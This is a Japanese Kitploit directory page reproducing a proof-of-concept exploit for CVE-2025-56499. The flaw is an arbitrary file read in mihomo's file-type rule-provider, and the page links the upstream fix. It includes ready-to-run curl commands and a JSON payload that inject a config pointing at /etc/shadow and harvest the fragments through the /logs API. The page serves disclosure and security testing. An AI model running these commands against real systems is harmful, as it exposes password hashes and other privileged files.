Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-56499 — CVE-2025-56499 の概念実証エクスプロイト。mihomo の rule-provider 設定におけるパス検証欠如による任意ファイル読み取りを実証し、ログベースのデータ流出を行います。 | Kitploit
ツール/GitHubGitHub/cherrling/cve-2025-56499
脆弱性分析エクスプロイトウェブアプリケーション悪用情報収集ペネトレーションテストログ分析
GitHubcherrling/cve-2025-56499

CVE-2025-56499

CVE-2025-56499 の概念実証エクスプロイト。mihomo の rule-provider 設定におけるパス検証欠如による任意ファイル読み取りを実証し、ログベースのデータ流出を行います。

リポジトリを見る
39ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-56499

ローカルルールプロバイダーのパス検証欠如による任意ファイル読み取り

アップストリーム修正: https://github.com/MetaCubeX/mihomo/pull/2177

影響を受けるバージョン: mihomo <= v1.19.11

概要

rule-providers設定を解析する際、type = "file"ブランチは指定されたパスを検証しません。schema.Pathを制御する認証済み攻撃者は、プロバイダーを読み取り可能な任意のローカルファイルに指定できます。ほとんどの任意ファイルは期待されるルール形式に準拠していないため、解析エラー(実質的なファイル内容の断片を含む)がメモリ内のログに出力され、/logsAPIを通じて公開されます。mihomoはしばしば昇格された権限(root/管理者)で実行されるため、影響の大きい情報漏洩につながります。

タイプと根本原因

  • タイプ: 任意ファイル読み取り / パス検証欠如
  • 直接原因: rules/provider/parse.goにおいて、schema.Type == "file"のケースはのみを呼び出し、または同等のホワイトリスト/サンドボックス制約を強制しません。
C.Path.Resolve()
C.Path.IsSafePath()
root@kitploit:~
var vehicle P.Vehicle
switch schema.Type {
case "file":
    path := C.Path.Resolve(schema.Path)
    vehicle = resource.NewFileVehicle(path)
case "http":
    path := C.Path.GetPathByHash("rules", schema.URL)
    if schema.Path != "" {
        path = C.Path.Resolve(schema.Path)
        if !C.Path.IsSafePath(path) {
            return nil, C.Path.ErrNotSafePath(path)
        }
    }
    vehicle = resource.NewHTTPVehicle(schema.URL, path, schema.Proxy, nil, resource.DefaultHttpTimeout, schema.SizeLimit)
case "inline":
    return NewInlineProvider(name, behavior, schema.Payload, parse), nil
default:
    return nil, fmt.Errorf("unsupported vehicle type: %s", schema.Type)
}

ファイルブランチの欠陥:

  • パスの正規化とセーフティ境界の強制がない
  • 機密性の高いシステム場所を参照する絶対パスを許可する

悪用フロー

  1. 攻撃者は/logsをポーリングまたはストリーミングして、パーサーエラー出力を取得する。
  2. 攻撃者は/configsを介して細工された設定を送信し、悪意のあるrule-providersエントリ(type = fileとターゲットファイルパスを含む)を埋め込む。
  3. サービスはファイルをルールデータとして解析しようとする→失敗→エラーとコンテンツの断片をログに出力する。
  4. 攻撃者は漏洩したデータを収穫し、カバレッジを広げたり抽出を洗練するために繰り返す。

PoC

ログをリッスン(トークンの例Bearer 123):

root@kitploit:~
curl -X GET "http://localhost:9999/logs" \
  -H "Authorization: Bearer 123"

設定を注入して/etc/shadowを読み取る:

root@kitploit:~
curl -X PUT "http://localhost:9999/configs" \
  -H "Authorization: Bearer 123" \
  -H "Content-Type: application/json" \
  -d '{"payload": "{\"log-level\": \"debug\", \"external-controller-unix\": \"mihomo.sock\", \"rule-providers\": {\"pwn\": {\"type\": \"file\", \"behavior\": \"classical\", \"format\": \"text\", \"path\": \"/etc/shadow\"}}}"}'

エスケープされていないペイロード:

root@kitploit:~
{
  "log-level": "debug",
  "external-controller-unix": "mihomo.sock",
  "rule-providers": {
    "pwn": {
      "type": "file",
      "behavior": "classical",
      "format": "text",
      "path": "/etc/shadow"
    }
  }
}

結果: /logs内の解析失敗行に/etc/shadowの断片が含まれます(スクリーンショット例): PoC Partial

ツールをダウンロード